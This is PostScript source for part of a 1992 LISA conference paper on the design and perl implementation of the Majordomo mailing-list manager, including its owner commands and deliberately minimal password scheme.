X(\(the)s +2711 X(actual)s +2896 X(mailing)s +3125 X(lists\))s +3280 X(accord-)s +2016 X +1414 Y(ing)s +2146 X(to)s +2243 X(those)s +2428 X(instructions,)s +2801 X(and)s +2941 X(generating)s +3267 X(emailed)s +2016 X +1487 Y(responses)s +2298 X(to)s +2373 X(users,)s +2550 X(I)s +2595 X(wanted)s +2811 X(to)s +2886 X(write)s +3047 X(it)s +3109 X(in)s +3185 X(a)s +3239 X(language)s +2016 X +1560 Y(well)s +2132 X(-suited)s +2356 X(for)s +2474 X(that)s +2616 X(task;)s +2784 X(perl)s +2929 X(seemed)s +3171 X(the)s +3294 X(natural)s +2016 X +1633 Y(choice)s +2191 X(.)s +2016 X +1727 Y +2160 X(In)s +2240 X(the)s +2347 X(Majordomo)s +2687 X(world)s +2868 X(model,)s +3078 X(there)s +3238 X(are)s +3346 X(three)s +2016 X +1800 Y(types)s +2228 X(of)s +2354 X(people:)s +2622 X(users)s +2830 X(\(without)s +3127 X(any)s +3293 X(special)s +2016 X +1873 Y(privileges\),)s +2341 X(mailing)s +2569 X(list)s +2675 X(owners,)s +2907 X(and)s +3026 X(the)s +3131 X(owner)s +3320 X(of)s +3398 X(the)s +2016 X +1946 Y(Majordomo)s +2379 X(server)s +2590 X(itself)s +2725 X(.)s +2812 X(Interactions)s +3176 X(with)s +3343 X(users)s +2016 X +2019 Y(take)s +2156 X(place)s +2327 X(strictly)s +2543 X(by)s +2638 X(email;)s +2836 X(the)s +2947 X(user)s +3087 X(mails)s +3262 X(a)s +3321 X(set)s +3425 X(of)s +2016 X +2092 Y(requests)s +2275 X(to)s +2366 X(Majordomo,)s +2736 X(and)s +2871 X(Majordomo)s +3224 X(processes)s +2016 X +2165 Y(those)s +2196 X(requests)s +2454 X(and)s +2589 X(sends)s +2776 X(back)s +2941 X(appropriate)s +3284 X(replies)s +3463 X(.)s +2016 X +2238 Y(Interactions)s +2362 X(with)s +2511 X(list)s +2623 X(owners)s +2844 X(also)s +2981 X(take)s +3122 X(place)s +3293 X(strictly)s +2016 X +2311 Y(by)s +2105 X(email,)s +2295 X(but)s +2403 X(a)s +2456 X(list)s +2563 X(owner)s +2753 X(can)s +2870 X(do)s +2960 X(a)s +3014 X(few)s +3138 X(things)s +3325 X(that)s +3450 X(a)s +2016 X +2384 Y(normal)s +2235 X(user)s +2376 X(can't;)s +2559 X(the)s +2671 X(commands)s +2989 X(that)s +3119 X(are)s +3230 X(restricted)s +2016 X +2457 Y(to)s +2095 X(list)s +2205 X(owners)s +2424 X(are)s +2533 X(protected)s +2809 X(with)s +2955 X(a)s +3012 X(per)s +3097 X(-list)s +3229 X(password)s +2016 X +2530 Y(\(though)s +2244 X(it's)s +2352 X(very)s +2492 X(weak)s +2655 X(password)s +2928 X(protection,)s +3238 X(since)s +3398 X(the)s +2016 X +2603 Y(password)s +2300 X(is)s +2378 X(passed)s +2589 X(in)s +2674 X(the)s +2790 X(clear)s +2955 X(through)s +3195 X(the)s +3311 X(email;)s +2016 X +2676 Y(the)s +2123 X(goal)s +2263 X(is)s +2333 X(not)s +2443 X(absolute)s +2691 X(security,)s +2945 X(but)s +3054 X(to)s +3130 X(avoid)s +3302 X(people)s +2016 X +2749 Y(making)s +2257 X(a)s +2328 X(nuisance)s +2604 X(of)s +2701 X(themselves)s +3041 X(by)s +3149 X(abusing)s +3398 X(the)s +2016 X +2822 Y(Majordomo)s +2366 X(server\))s +2551 X(.)s +2626 X(The)s +2766 X(Majordomo)s +3116 X(owner)s +3318 X(is)s +3398 X(the)s +2016 X +2895 Y(person)s +2231 X(responsible)s +2573 X(for)s +2688 X(maintaining)s +3046 X(the)s +3166 X(Majordomo)s +2016 X +2968 Y(server)s +2206 X(itself,)s +2385 X(and)s +2508 X(for)s +2612 X(performing)s +2937 X(tasks)s +3097 X(such)s +3245 X(as)s +3327 X(creat-)s +2016 X +3041 Y(ing)s +2123 X(new)s +2256 X(mailing)s +2483 X(lists)s +2614 X(to)s +2688 X(be)s +2773 X(served)s +2969 X(by)s +3057 X(Majordomo)s +3371 X(.)s +2016 X +3135 Y +2160 X(The)s +2289 X(software)s +2544 X(needs)s +2722 X(to)s +2800 X(support)s +3025 X(multiple)s +3275 X(mailing)s +2016 X +3208 Y(lists,)s +2185 X(each)s +2351 X(owned)s +2570 X(by)s +2678 X(different)s +2950 X(individuals)s +3247 X(.)s +3328 X(Some)s +2016 X +3281 Y(owners)s +2238 X(wish)s +2394 X(to)s +2476 X(approve)s +2720 X(all)s +2818 X("subscribe")s +3154 X(requests)s +3403 X(for)s +2016 X +3354 Y(their)s +2171 X(list)s +2286 X(\(a)s +2370 X("closed")s +2627 X(list\),)s +2781 X(while)s +2962 X(other)s +3131 X(owners)s +3354 X(wish)s +2016 X +3427 Y(routine)s +2230 X("subscribe")s +2561 X(requests)s +2805 X(to)s +2882 X(be)s +2970 X(approved)s +3242 X(automat-)s +2016 X +3500 Y(ically)s +2189 X(\(an)s +2297 X("open")s +2503 X(list\),)s +2648 X(with)s +2790 X(noti\256cation)s +3118 X(to)s +3193 X(the)s +3297 X(owner)s +3463 X(.)s +360 X +4967 Y +f.B 10 Z(136)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 137 3 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(Routine)s +894 X("unsubscribe")s +1349 X(requests)s +1651 X(are)s +1817 X(approved)s +600 X +521 Y(automatically,)s +1009 X(with)s +1154 X(noti\256cation)s +1485 X(to)s +1563 X(the)s +1671 X(list)s +1779 X(owner,)s +1987 X(for)s +600 X +594 Y(both)s +745 X(open)s +901 X(and)s +1024 X(closed)s +1222 X(lists)s +1331 X(.)s +1375 X(Owners)s +1609 X(have)s +1763 X(a)s +1821 X(way)s +1960 X(\(the)s +600 X +667 Y("approve")s +923 X(command\))s +1262 X(to)s +1368 X(approve)s +1636 X(all)s +1758 X("subscribe")s +600 X +740 Y(requests)s +844 X(on)s +935 X(closed)s +1131 X(lists,)s +1282 X(as)s +1363 X(well)s +1505 X(as)s +1587 X(non)s +1686 X(-routine)s +1923 X("sub-)s +600 X +813 Y(scribe")s +816 X(and)s +941 X("unsubscribe")s +1342 X(requests)s +1589 X(on)s +1683 X(open)s +1840 X(lists)s +1949 X(.)s +2016 X(A)s +600 X +886 Y("non)s +726 X(-routine)s +969 X(request")s +1221 X(is)s +1298 X(one)s +1426 X(that)s +1559 X(affects)s +1771 X(a)s +1834 X(different)s +600 X +959 Y(address)s +834 X(than)s +982 X(the)s +1097 X(request)s +1323 X(appears)s +1560 X(to)s +1645 X(originate)s +1916 X(from;)s +600 X +1032 Y(for)s +717 X(instance,)s +994 X(a)s +1065 X(request)s +1299 X(from)s +1469 X("joe@foobar)s +1812 X(.com")s +2012 X(to)s +600 X +1105 Y(subscribe)s +896 X(or)s +994 X(unsubscribe)s +1355 X("alice@foobar)s +1744 X(.com")s +1946 X(is)s +2034 X(a)s +600 X +1178 Y(non)s +699 X(-routine)s +953 X(request)s +1146 X(.)s +1229 X(All)s +1359 X(non)s +1458 X(-routine)s +1713 X(requests)s +1976 X(\(on)s +600 X +1251 Y(both)s +746 X(open)s +903 X(and)s +1027 X(closed)s +1226 X(lists\))s +1384 X(are)s +1493 X(forwarded)s +1793 X(to)s +1872 X(the)s +1981 X(list)s +600 X +1324 Y(owner)s +788 X(for)s +887 X(approval)s +1120 X(.)s +600 X +1418 Y +744 X(Majordomo)s +1100 X(accepts)s +1340 X(the)s +1464 X(commands)s +1796 X(shown)s +2012 X(in)s +600 X +1491 Y(Figure)s +814 X(1)s +887 X(from)s +1056 X(any)s +1192 X(user)s +1303 X(.)s +1381 X(In)s +1475 X(addition,)s +1750 X(Majordomo)s +600 X +1564 Y(accepts)s +827 X(the)s +938 X(password)s +1189 X(-protected)s +1490 X(commands)s +1809 X(shown)s +2012 X(in)s +600 X +1637 Y(Figure)s +797 X(2,)s +870 X(which)s +1056 X(are)s +1161 X(for)s +1261 X(use)s +1373 X(by)s +1462 X(list)s +1568 X(owners)s +1782 X(to)s +1856 X(manage)s +600 X +1710 Y(their)s +789 X(list)s +872 X(.)s +977 X(Authentication)s +1441 X(is)s +1552 X(based)s +1771 X(solely)s +1998 X(on)s +600 X +1783 Y(knowledge)s +923 X(of)s +1009 X(the)s +1122 X(password)s +1404 X(for)s +1512 X(the)s +1624 X(list)s +1737 X(in)s +1819 X(question;)s +600 X +1856 Y(no)s +693 X(attempt)s +922 X(is)s +995 X(made)s +1168 X(to)s +1248 X(check)s +1432 X(that)s +1561 X(the)s +1671 X(address)s +1899 X(of)s +1982 X(the)s +600 X +1929 Y(person)s +821 X(issuing)s +1054 X(the)s +1180 X(command)s +1487 X(is)s +1576 X(the)s +1702 X(same)s +1883 X(as)s +1982 X(the)s +600 X +2002 Y(address)s +826 X(of)s +907 X(the)s +1015 X(list)s +1124 X(owner)s +1290 X(.)s +1356 X(As)s +1457 X(mentioned)s +1766 X(earlier,)s +1982 X(the)s +600 X +2075 Y(goal)s +755 X(of)s +849 X(the)s +970 X(minimal)s +1233 X(security)s +1484 X(in)s +1575 X(Majordomo)s +1928 X(is)s +2012 X(to)s +600 X +2148 Y(prevent)s +822 X(anti)s +923 X(-social)s +1124 X(people)s +1324 X(from)s +1476 X(making)s +1699 X(a)s +1752 X(nuisance)s +2009 X(of)s +600 X +2221 Y(themselves;)s +948 X(I)s +1001 X(don't)s +1172 X(make)s +1348 X(any)s +1474 X(claims)s +1680 X(that)s +1811 X(the)s +1923 X(secu-)s +600 X +2294 Y(rity)s +715 X(is)s +782 X(particularly)s +1113 X(strong)s +1279 X(.)s +600 X +2388 Y +744 X(A)s +818 X(side)s +952 X(bene\256t)s +1160 X(of)s +1241 X(authentication)s +1648 X(by)s +1741 X(password)s +2019 X(is)s +600 X +2461 Y(that)s +738 X(the)s +857 X(owner)s +1060 X(can)s +1190 X(manage)s +1434 X(their)s +1593 X(list)s +1712 X(from)s +1877 X(any)s +2009 X(of)s +600 X +2534 Y(their)s +760 X(accounts;)s +1050 X(they)s +1202 X(don't)s +1379 X(have)s +1542 X(to)s +1631 X(always)s +1855 X(use)s +1982 X(the)s +600 X +2607 Y(same)s +779 X(account)s +1027 X(on)s +1133 X(a)s +1203 X(certain)s +1426 X(machine,)s +1710 X(for)s +1827 X(instance)s +2047 X(.)s +600 X +2680 Y(The)s +728 X("owner")s +972 X(of)s +1052 X(a)s +1107 X(given)s +1280 X(list)s +1388 X(could)s +1561 X(in)s +1638 X(fact)s +1764 X(be)s +1852 X(an)s +1940 X(alias)s +600 X +2753 Y(for)s +719 X(multiple)s +985 X(people,)s +1221 X(any)s +1358 X(of)s +1454 X(whom)s +1661 X(could)s +1850 X(approve)s +600 X +2826 Y(requests)s +847 X(for)s +952 X(the)s +1062 X(list)s +1145 X(.)s +1212 X(Because)s +1463 X(the)s +1573 X(owner)s +1767 X(of)s +1850 X(a)s +1908 X(list)s +2019 X(is)s +600 X +2899 Y(always)s +809 X(noti\256ed)s +1036 X(of)s +1114 X(successful)s +1411 X("subscribe")s +1739 X(and)s +1857 X("unsub-)s +600 X +2972 Y(scribe")s +828 X(requests)s +1088 X(concerning)s +1425 X(their)s +1589 X(list,)s +1731 X(even)s +1899 X(if)s +1982 X(the)s +600 X +3045 Y(owner)s +800 X(initiated)s +1055 X(those)s +1230 X(requests)s +1483 X(on)s +1583 X(behalf)s +1784 X(of)s +1873 X(a)s +1936 X(user,)s +600 X +3118 Y(multiple)s +855 X(owners)s +1078 X(would)s +1275 X(automatically)s +1672 X(be)s +1767 X(kept)s +1914 X(up)s +2012 X(to)s +600 X +3191 Y(date)s +734 X(on)s +822 X(each)s +967 X(other's)s +1174 X(actions)s +1386 X(concerning)s +1704 X(the)s +1808 X(list)s +1891 X(.)s +600 X +3984 Y +3120 0 l +600 X +4080 Y +622 X +f.B 10 Z(Command)s +2258 X(Description)s +600 X +4110 Y +622 X +f.R 10 Z +3076 0 l +600 X +4174 Y +2258 X(Approve)s +2538 X(a)s +2616 X(non)s +2715 X(-routine)s +2975 X(subscribe)s +3276 X(or)s +3380 X(unsubscribe)s +600 X +4254 Y +2258 X(request)s +2473 X(concerning)s +2791 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +600 X +4174 Y +622 X +f.R 10 Z(approve)s +858 X +f.I 10 Z(password)s +1134 X +f.R 10 Z({subscribe)s +1440 X(|)s +1475 X(unsubscribe})s +1847 X +f.I 10 Z(list)s +1952 X(address)s +600 X +4347 Y +2258 X +f.R 10 Z(Provide)s +2490 X(a)s +2545 X(new)s +2681 X("info")s +2867 X(message)s +3119 X(for)s +3221 X +f.I 10 Z(list)s +f.R 10 Z(,)s +3346 X(to)s +3423 X(be)s +3512 X(sent)s +3646 X(in)s +600 X +4427 Y +2258 X(response)s +2513 X(to)s +2587 X("info")s +2770 X(and)s +2888 X("subscribe")s +3216 X(requests)s +600 X +4347 Y +622 X(newinfo)s +862 X +f.I 10 Z(list)s +967 X(password)s +600 X +4520 Y +2258 X +f.R 10 Z(Change)s +2483 X(the)s +2587 X(password)s +2860 X(for)s +2959 X +f.I 10 Z(list)s +600 X +622 X +f.R 10 Z(passwd)s +840 X +f.I 10 Z(list)s +945 X(old)s +1030 X(-password)s +1328 X(new)s +1435 X(-password)s +600 X +4685 Y +1547 X +f.B 10 Z(Figure)s +1759 X(2)s +f.R 10 Z(:)s +1855 X(Majordomo)s +2191 X(list)s +2296 X(owner)s +2484 X(commands)s +600 X +3285 Y +744 X(Note)s +915 X(that)s +1057 X(the)s +1180 X("approve")s +1490 X(command)s +1795 X(is)s +1882 X(simply)s +600 X +3358 Y("approve)s +878 X +f.I 10 Z(password)s +f.R 10 Z(")s +1196 X(prepended)s +1510 X(to)s +1599 X(a)s +1666 X("subscribe")s +2009 X(or)s +600 X +3431 Y("unsubscribe")s +1026 X(request)s +1219 X(.)s +1312 X(This)s +1485 X(simpli\256es)s +1801 X(command)s +600 X +3504 Y(processing;)s +941 X(in)s +1030 X(handling)s +1299 X(an)s +1398 X("approve")s +1702 X(message,)s +1982 X(the)s +600 X +3577 Y(command)s +910 X(processor)s +1212 X(checks)s +1441 X(that)s +1590 X(the)s +1720 X(password)s +2019 X(is)s +600 X +3650 Y(correct)s +818 X(for)s +927 X(the)s +1041 X(list)s +1155 X(being)s +1334 X(acted)s +1507 X(on,)s +1621 X(then)s +1767 X(recursively)s +600 X +3723 Y(processes)s +882 X(the)s +990 X("subscribe")s +1322 X(or)s +1403 X("unsubscribe")s +1801 X(command)s +600 X +3796 Y(with)s +743 X(a)s +797 X(\257ag)s +921 X(set)s +1020 X(that)s +1145 X(tells)s +1282 X(the)s +1387 X(processor)s +1665 X(that)s +1789 X(the)s +1894 X(opera-)s +600 X +3869 Y(tion)s +740 X(is)s +821 X(pre)s +906 X(-approved)s +1212 X(and)s +1345 X(should)s +1559 X(simply)s +1778 X(be)s +1878 X(carried)s +600 X +3942 Y(out,)s +737 X(even)s +898 X(if)s +974 X(it)s +1047 X(is)s +1126 X(a)s +1190 X(non)s +1289 X(-routine)s +1534 X(request)s +1727 X(.)s +1800 X(The)s +1938 X(right)s +2256 X +448 Y(way)s +2389 X(to)s +2463 X(think)s +2622 X(about)s +2793 X("approve",)s +3101 X(by)s +3190 X(the)s +3295 X(way,)s +3446 X(is)s +3514 X(that)s +3638 X(the)s +2256 X +521 Y(list)s +2363 X(owner)s +2553 X(is)s +2622 X(telling)s +2817 X(Majordomo)s +3154 X("I)s +3226 X(approve)s +3463 X(this)s +3583 X(com-)s +2256 X +594 Y(mand;)s +2455 X(just)s +2584 X(do)s +2682 X(it!",)s +2818 X(not)s +2936 X("I)s +3018 X(approve)s +3265 X(this)s +3395 X(request)s +3621 X(you)s +2256 X +667 Y(sent)s +2395 X(me)s +2507 X(earlier")s +2706 X(.)s +2775 X(Majordomo)s +3119 X(doesn't)s +3345 X(keep)s +3501 X(track)s +3665 X(of)s +2256 X +740 Y(outstanding)s +2602 X(requests;)s +2875 X(when)s +3054 X(an)s +3153 X("approve")s +3457 X(command)s +2256 X +813 Y(comes)s +2471 X(in)s +2567 X(from)s +2740 X(a)s +2814 X(list)s +2941 X(owner,)s +3167 X(Majordomo)s +3524 X(doesn't)s +2256 X +886 Y(check)s +2440 X(to)s +2520 X(see)s +2634 X(that)s +2764 X(the)s +2875 X(owner)s +3070 X(is)s +3144 X(approving)s +3442 X(something)s +2256 X +959 Y(Majordomo)s +2613 X(had)s +2752 X(previously)s +3075 X(requested,)s +3390 X(or)s +3487 X(anything)s +2256 X +1032 Y(like)s +2397 X(that)s +2498 X(.)s +2577 X(A)s +2665 X(list)s +2788 X(owner)s +2994 X(can)s +3127 X(thus)s +3278 X(issue)s +3452 X("approve")s +2256 X +1105 Y(commands)s +2589 X(on)s +2699 X(behalf)s +2910 X(of)s +3009 X(a)s +3083 X(user)s +3238 X(\(to)s +3356 X(drop)s +3521 X(a)s +3594 X(dead)s +2256 X +1178 Y(account)s +2488 X(from)s +2641 X(the)s +2747 X(list,)s +2872 X(for)s +2974 X(instance\))s +3241 X(without)s +3470 X(any)s +3591 X(prior)s +2256 X +1251 Y(action)s +2442 X(by)s +2530 X(the)s +2634 X(user)s +2745 X(.)s +2256 X +1345 Y +2400 X(An)s +2534 X(important)s +2848 X(distinction)s +3185 X(that)s +3340 X(many)s +3542 X(people)s +2256 X +1418 Y(misunderstand)s +2672 X(is)s +2744 X(the)s +2853 X(difference)s +3151 X(between)s +3401 X(managing)s +3690 X(a)s +2256 X +1491 Y(mailing)s +2493 X(list,)s +2625 X(and)s +2753 X(managing)s +3048 X(the)s +3162 X(traf\256c)s +3354 X(on)s +3452 X(a)s +3515 X(mailing)s +2256 X +1564 Y(list)s +2339 X(.)s +2405 X(Managing)s +2701 X(a)s +2757 X(mailing)s +2988 X(list)s +3097 X(\(which)s +3308 X(is)s +3379 X(what)s +3535 X(Major-)s +2256 X +1637 Y(domo)s +2435 X(does\))s +2608 X(means)s +2808 X(exactly)s +3031 X(that:)s +3202 X(managing)s +3494 X(a)s +3553 X(list)s +3665 X(of)s +2256 X +1710 Y(names)s +2427 X(.)s +2518 X(Managing)s +2839 X(the)s +2972 X(traf\256c)s +3183 X(on)s +3300 X(a)s +3381 X(mailing)s +3637 X(list)s +2256 X +1783 Y(\(which)s +2464 X(is)s +2533 X(commonly)s +2842 X(called)s +3027 X("moderating")s +3409 X(the)s +3515 X(mailing)s +2256 X +1856 Y(list\))s +2388 X(means)s +2586 X(either)s +2766 X(automatically)s +3159 X(or)s +3241 X(manually)s +3516 X(review-)s +2256 X +1929 Y(ing)s +2368 X(each)s +2518 X(message)s +2772 X(that)s +2900 X(is)s +2972 X(submitted)s +3263 X(for)s +3367 X(the)s +3477 X(list,)s +3605 X(then)s +2256 X +2002 Y(either)s +2438 X(forwarding)s +2762 X(it)s +2829 X(to)s +2910 X(the)s +3021 X(list)s +3133 X(\(perhaps)s +3391 X(after)s +3542 X(header)s +2256 X +2075 Y(or)s +2346 X(content)s +2578 X(editing,)s +2816 X(depending)s +3128 X(on)s +3229 X(the)s +3346 X(nature)s +3548 X(of)s +3638 X(the)s +2256 X +2148 Y(mailing)s +2490 X(list\))s +2624 X(or)s +2708 X(discarding)s +3015 X(it)s +3053 X(.)s +3120 X(The)s +3252 X(changes)s +3495 X(made)s +3668 X(to)s +2256 X +2221 Y(messages)s +2577 X(before)s +2815 X(forwarding)s +3178 X(them)s +3380 X(to)s +3500 X(such)s +3690 X(a)s +2256 X +2294 Y(moderated)s +2564 X(mailing)s +2795 X(list)s +2903 X(can)s +3021 X(be)s +3109 X(as)s +3190 X(simple)s +3394 X(as)s +3475 X(rewriting)s +2256 X +2367 Y(the)s +2368 X(headers)s +2603 X(of)s +2689 X(the)s +2802 X(message)s +3060 X(to)s +3143 X(arrange)s +3374 X(for)s +3482 X(errors)s +3668 X(to)s +2256 X +2440 Y(come)s +2427 X(back)s +2579 X(to)s +2657 X(the)s +2765 X(list)s +2874 X(owner,)s +3083 X(or)s +3164 X(as)s +3246 X(complex)s +3502 X(as)s +3583 X(com-)s +2256 X +2513 Y(pletely)s +2461 X(rewriting)s +2728 X(the)s +2832 X(body)s +2986 X(of)s +3064 X(the)s +3169 X(message)s +3419 X(to)s +3494 X(preserve)s +2256 X +2586 Y(the)s +2374 X(anonymity)s +2695 X(of)s +2786 X(the)s +2904 X(originator)s +3167 X(.)s +3241 X(Editorial)s +3511 X(policies)s +2256 X +2659 Y(\(such)s +2435 X(as)s +2526 X(only)s +2679 X(forwarding)s +3009 X(messages)s +3297 X(to)s +3384 X(the)s +3501 X(list)s +3619 X(that)s +2256 X +2732 Y(were)s +2409 X(sent)s +2540 X(by)s +2629 X(a)s +2682 X(member)s +2924 X(of)s +3002 X(the)s +3107 X(list,)s +3230 X(and)s +3349 X(refusing)s +3590 X(mes-)s +2256 X +2805 Y(sages)s +2453 X(from)s +2634 X("outsiders"\))s +3003 X(might)s +3211 X(also)s +3371 X(be)s +3487 X(enforced)s +2256 X +2878 Y(automatically)s +2647 X(or)s +2727 X(manually)s +2976 X(.)s +3040 X(All)s +3151 X(of)s +3231 X(this)s +3352 X(is)s +3421 X(outside)s +3638 X(the)s +2256 X +2951 Y(scope)s +2439 X(of)s +2525 X(Majordomo;)s +2889 X(all)s +2988 X(Majordomo)s +3333 X(does)s +3487 X(is)s +3564 X(main-)s +2256 X +3024 Y(tain)s +2391 X(the)s +2507 X(\256le)s +2627 X(containing)s +2943 X(the)s +3059 X(list)s +3176 X(of)s +3264 X(email)s +3447 X(addresses)s +3703 X(.)s +2256 X +3097 Y(How)s +2413 X(that)s +2542 X(list)s +2653 X(is)s +2726 X(used)s +2876 X(\(whether)s +3141 X(it)s +3207 X(is)s +3280 X(simply)s +3490 X(included)s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +2256 X +3170 Y(as)s +2336 X(an)s +2422 X(alias)s +2569 X(in)s +2644 X(the)s +2749 X +f.CW 10 Z(/etc/aliases)s +3252 X +f.R 10 Z(\256le,)s +3378 X(or)s +3456 X(used)s +3601 X(by)s +3690 X(a)s +2256 X +3243 Y(forwarding)s +2581 X(that)s +2713 X(enforces)s +2970 X(a)s +3031 X("no)s +3155 X(messages)s +3439 X(from)s +3599 X(non)s +3698 X(-)s +2256 X +3316 Y(members)s +2526 X(policy")s +2745 X(as)s +2825 X(described)s +3105 X(above,)s +3305 X(or)s +3384 X(whatever\))s +3675 X(is)s +2256 X +3389 Y(not)s +2363 X(something)s +2663 X(for)s +2762 X(Majordomo)s +3098 X(to)s +3172 X(determine)s +3440 X(.)s +2256 X +3516 Y +2594 X +f.B 10 Z(Implementing)s +3018 X(the)s +3129 X(Proposal)s +2256 X +3625 Y +2400 X +f.R 10 Z(Once)s +2564 X(I)s +2610 X(had)s +2730 X(more)s +2891 X(or)s +2970 X(less)s +3095 X(decided)s +3327 X(what)s +3481 X(I)s +3527 X(wanted)s +2256 X +3698 Y(to)s +2334 X(implement)s +2647 X(and)s +2769 X(how,)s +2926 X(I)s +2974 X(sat)s +3074 X(down)s +3246 X(to)s +3323 X(the)s +3430 X(nitty)s +3553 X(-gritty)s +2256 X +3771 Y(details)s +2464 X(of)s +2551 X(getting)s +2769 X(it)s +2839 X(done)s +2968 X(.)s +3039 X(It)s +3112 X(took)s +3263 X(about)s +3444 X(2)s +3510 X(days)s +3665 X(of)s +2256 X +3844 Y(concentrated)s +2626 X(work)s +2790 X(to)s +2870 X(write)s +3036 X(the)s +3145 X(core)s +3287 X(of)s +3369 X(the)s +3478 X(program,)s +2256 X +3917 Y(followed)s +2519 X(by)s +2611 X(a)s +2667 X(test)s +2787 X(installation)s +3112 X(and)s +3234 X(another)s +3460 X(couple)s +3665 X(of)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(137)s +5280 Y +pagebot + +%%Page: 138 4 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(days)s +507 X(of)s +587 X(on)s +653 X(-again,)s +862 X(off)s +939 X(-again)s +1131 X(testing)s +1334 X(and)s +1454 X(enhancement)s +1807 X(.)s +360 X +521 Y(All)s +474 X(told,)s +623 X(I)s +673 X(spent)s +842 X(about)s +1019 X(20)s +1114 X(hours)s +1290 X(on)s +1385 X(the)s +1496 X(project,)s +1728 X(and)s +360 X +594 Y(ended)s +544 X(up)s +635 X(with)s +779 X(about)s +952 X(than)s +1092 X(600)s +1215 X(lines)s +1366 X(of)s +1445 X(perl)s +1573 X(code)s +1723 X(that)s +360 X +667 Y(implemented)s +742 X(almost)s +953 X(all)s +1053 X(the)s +1167 X(features)s +1411 X(listed)s +1589 X(above)s +1780 X(\(I)s +360 X +740 Y(didn't)s +549 X(implement)s +866 X("which")s +1113 X(and)s +1239 X("unsubscribe")s +1641 X(until)s +1794 X(a)s +360 X +813 Y(couple)s +573 X(of)s +663 X(weeks)s +865 X(later\))s +1007 X(.)s +1081 X(This)s +1235 X(was)s +1374 X(the)s +1491 X(version)s +1723 X(that)s +360 X +886 Y(was)s +498 X(initially)s +742 X(installed)s +1003 X(on)s +1102 X(USENIX)s +1346 X(.ORG)s +1536 X(to)s +1621 X(run)s +1742 X(the)s +360 X +959 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(in)s +1049 X(late)s +1185 X(June,)s +1362 X(1992)s +1494 X(.)s +1571 X(Over)s +1742 X(the)s +360 X +1032 Y(next)s +500 X(couple)s +703 X(of)s +782 X(weeks,)s +990 X(I)s +1036 X(spent)s +1201 X(another)s +1425 X(20)s +1515 X(or)s +1594 X(so)s +1677 X(hours)s +360 X +1105 Y(implementing)s +755 X(the)s +861 X(remaining)s +1156 X(commands,)s +1486 X(\256xing)s +1665 X(minor)s +360 X +1178 Y(bugs,)s +535 X(and)s +664 X(generally)s +946 X(cleaning)s +1206 X(up)s +1305 X(the)s +1420 X(program)s +1645 X(.)s +1717 X(I've)s +360 X +1251 Y(continued)s +655 X(to)s +739 X(make)s +917 X(minor)s +1109 X(enhancements)s +1521 X(since)s +1692 X(then)s +1807 X(.)s +360 X +1324 Y(Today,)s +573 X(the)s +680 X(program)s +930 X(stands)s +1122 X(at)s +1196 X(815)s +1320 X(lines)s +1472 X(of)s +1552 X(perl)s +1681 X(code,)s +360 X +1397 Y(not)s +467 X(including)s +741 X(libraries)s +961 X(.)s +360 X +1491 Y +504 X(While)s +710 X(writing)s +945 X(Majordomo,)s +1318 X(I)s +1383 X(made)s +1571 X(extensive)s +360 X +1564 Y(use)s +477 X(of)s +559 X(other)s +723 X(people's)s +976 X(work)s +1139 X(that)s +1267 X(had)s +1390 X(been)s +1543 X(previously)s +360 X +1637 Y(released)s +617 X(on)s +720 X(the)s +839 X(net,)s +976 X(including)s +1266 X(software)s +1534 X(to)s +1624 X(process)s +360 X +1710 Y(mail)s +507 X(headers)s +738 X(and)s +860 X(perform)s +1100 X(\256le)s +1212 X(locking)s +1412 X(.)s +1477 X(From)s +1647 X(one)s +1769 X(of)s +360 X +1783 Y(the)s +474 X(perl)s +611 X(archives)s +867 X(on)s +966 X(the)s +1081 X(Internet,)s +1339 X(I)s +1394 X(obtained)s +1657 X(a)s +1720 X(perl)s +360 X +1856 Y(package)s +605 X(called)s +792 X("mailstuff)s +1061 X(.pl")s +1183 X(\(written)s +1421 X(by)s +1513 X(Gene)s +1680 X(Spaf-)s +360 X +1929 Y(ford\))s +527 X(which)s +725 X(parses)s +927 X(RFC822)s +1186 X(mail)s +1341 X(headers)s +1580 X(into)s +1720 X(perl)s +360 X +2002 Y(associative)s +692 X(arrays)s +892 X(for)s +1006 X(easy)s +1162 X(processing;)s +1503 X(with)s +1658 X(a)s +1724 X(few)s +360 X +2075 Y(minor)s +555 X(modi\256cations,)s +972 X(it)s +1046 X(was)s +1186 X(just)s +1320 X(what)s +1487 X(I)s +1546 X(needed)s +1772 X(to)s +360 X +2148 Y(handle)s +580 X(all)s +690 X(the)s +814 X(mail)s +976 X(header)s +1195 X(processing)s +1521 X(for)s +1639 X(Major-)s +360 X +2221 Y(domo)s +511 X(.)s +360 X +4053 Y +3120 0 l +360 X +4141 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z($whereami)s +808 X(=)s +888 X("GreatCircle)s +1368 X(.COM";)s +360 X +4221 Y +408 X($whoami)s +728 X(=)s +808 X("Majordomo@$whe)s +1408 X(reami";)s +360 X +4301 Y +408 X($whoami_owner)s +968 X(=)s +1048 